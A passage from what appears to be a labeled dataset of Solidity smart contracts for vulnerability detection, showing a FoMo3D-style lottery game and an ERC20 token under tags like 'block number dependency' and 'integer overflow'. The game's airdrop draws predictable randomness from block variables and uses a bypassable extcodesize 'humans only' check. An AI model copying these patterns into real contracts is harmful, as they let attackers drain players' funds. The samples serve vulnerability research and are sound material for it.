_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 202.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 6; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 3207.sol,"pragma solidity ^0.4.24; contract Suohaevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is Suohaevents {} contract Fumo is modularShort { using SafeMath for *; using NameFilter for string; using SuohaKeysCalcLong for uint256; address community_addr = 0x82B0721A8c142C6203F4cF58f80629E15b02a504; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xA80aFF4455a89667de2b892aa2B0AF60aA5d2532 ); string constant public name = ""Fumo""; string constant public symbol = ""Fumo""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Suohadatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => Suohadatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => Suohadatasets.TeamFee) public fees_; mapping (uint256 => Suohadatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = Suohadatasets.TeamFee(30,0); fees_[1] = Suohadatasets.TeamFee(43,0); fees_[2] = Suohadatasets.TeamFee(56,0); fees_[3] = Suohadatasets.TeamFee(43,8); potSplit_[0] = Suohadatasets.PotSplit(15,0); potSplit_[1] = Suohadatasets.PotSplit(20,0); potSplit_[2] = Suohadatasets.PotSplit(25,0); potSplit_[3] = Suohadatasets.PotSplit(30,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. ""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { Suohadatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(6) / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); community_addr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private returns(Suohadatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _aff = _eth / 5; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } community_addr.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private returns(Suohadatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 50); airDropPot_ = airDropPot_.add(_air); _eth = 